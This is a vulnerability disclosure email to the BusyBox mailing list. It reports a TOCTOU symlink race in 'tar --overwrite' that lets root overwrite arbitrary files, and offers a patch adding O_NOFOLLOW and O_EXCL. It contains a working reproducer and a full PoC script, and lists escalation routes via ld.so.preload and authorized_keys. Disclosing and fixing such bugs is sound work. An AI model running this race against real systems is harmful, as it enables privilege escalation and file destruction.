To: [email protected]
From: [email protected]
Subject: [SECURITY] busybox tar: TOCTOU symlink race overwrites arbitrary
root file with --overwrite

Version : v1.38.0 (git 2025-08-05)
System  : Ubuntu 22.04 x86-64
Kernel  : 6.8.0
Compiler: gcc 11.4.0

----------------------------------------------------------------------
Summary
----------------------------------------------------------------------
When extracting a tar archive with the **--overwrite** option, BusyBox
‘tar’ opens regular files with `O_TRUNC` but **without `O_NOFOLLOW`
or `O_EXCL`**.  If an unprivileged process replaces the filename with a
symlink between the prior `lstat()` and this `open()`, BusyBox tar
follows the link and truncates / overwrites the link target **as root**.

This Time-Of-Check / Time-Of-Use race can be used for local privilege
escalation (e.g. via `/etc/ld.so.preload`) or a denial-of-service by
blanking critical binaries.

**Real-world attack surface**

*  IoT OTA scripts, initramfs updaters, and Docker/Alpine build scripts
   commonly run `busybox tar xvf … --overwrite` as root.
*  On shared directories (`/tmp`, NFS, container bind-mounts) an
   unprivileged user can predict archive filenames (or supply the archive
   themselves) and run the symlink loop in parallel.


----------------------------------------------------------------------
Reproducer (two terminals)
----------------------------------------------------------------------

# 0. one-time setup ---------------------------------------------------
$ mkdir -p /tmp/tar-race && cd /tmp/tar-race
$ echo HACKED_BY_RACE > victim.txt
$ tar -cf poc.tar victim.txt
$ rm victim.txt
$ echo ORIGINAL | sudo tee /etc/poc.txt           # file we will overwrite
#Usually there is no permission
$ /path/to/busybox --help | head -1          # BusyBox v1.38.0

# 1. attacker terminal (unprivileged) -------
$ cd /tmp/tar-race
$ while :; do
>   rm -f victim.txt 2>/dev/null || true
>   ln -s /etc/poc.txt victim.txt 2>/dev/null || true
> done

# 2. root terminal --------------------------
# busybox tar xvf poc.tar --overwrite
victim.txt
# cat /etc/poc.txt
HACKED_BY_RACE                                    <-- overwritten

Success rate
------------

On a 4-core VM the race triggers 20–30 % of the time; running tar in a
loop or racing several filenames in parallel reaches ~100 % within a few
dozen attempts.

full_poc.sh
-------------
#!/bin/bash
set -e

BB=$HOME/busybox/busybox
TARGET=/etc/poc.txt
WORK=/tmp/tar-race

echo "Cleaning up old TARGET file and WORK directory..."
sudo rm -f "$TARGET" 2>/dev/null || true
rm -rf "$WORK" 2>/dev/null || true
mkdir -p "$WORK"
echo "Cleanup complete."
echo

cd "$WORK"
echo 'HACKED_BY_RACE' > victim.txt
tar -cf malicious.tar victim.txt
rm victim.txt
echo "original" || sudo tee "$TARGET"

# attack loop
(
  while true; do
    rm -f victim.txt 2>/dev/null || true
    ln -s "$TARGET" victim.txt 2>/dev/null || true
  done
) & LP=$!

# 30 attempts
for i in {1..30}; do
  sudo "$BB" tar xf malicious.tar --overwrite
done
kill $LP

echo "----- RESULT -----"
echo "TARGET content:"
cat "$TARGET"


Expected result
---------------

* /etc/poc.txt remains unchanged (“ORIGINAL”).
* victim.txt extracted as a normal file.

Actual result
-------------

* busybox tar followed the attacker’s symlink and overwrote
  /etc/poc.txt with the archive payload.
* victim.txt is now a dangling symlink → /etc/poc.txt.



----------------------------------------------------------------------
Root cause
----------------------------------------------------------------------
`data_extract_all.c`, case S_IFREG:

    flags = O_WRONLY | O_CREAT | O_TRUNC;      /* when --overwrite */
    dst_fd = xopen3(dst_nameN, flags, file_header->mode);

No O_NOFOLLOW, no O_EXCL, no post-open fstat() verification.

----------------------------------------------------------------------
Suggested patch (one-liner)
----------------------------------------------------------------------
@@
-  flags = O_WRONLY | O_CREAT | O_TRUNC;
+  flags = O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW | O_EXCL;
@@
   dst_fd = xopen3(dst_nameN, flags, file_header->mode);

Optionally, add a `fstat(dst_fd)` and compare inode numbers to guard
against races where the file is swapped between open() and first write.

----------------------------------------------------------------------
Impact
----------------------------------------------------------------------
* Local DoS: truncate /bin/sh or init binary.
* Local privilege escalation: inject path into /etc/ld.so.preload.
* Persistent backdoor: append SSH key via /root/.ssh/authorized_keys.

----------------------------------------------------------------------
Embargo
----------------------------------------------------------------------
I am happy to observe a 30-day embargo to coordinate with downstream
distributions.  Please let me know if you need more or less time.

Thank you for maintaining BusyBox.
Best regards,

<Yuma Takeuchi / yuma4869>
<[email protected]>
_______________________________________________
busybox mailing list
[email protected]
https://lists.busybox.net/mailman/listinfo/busybox

Reply via email to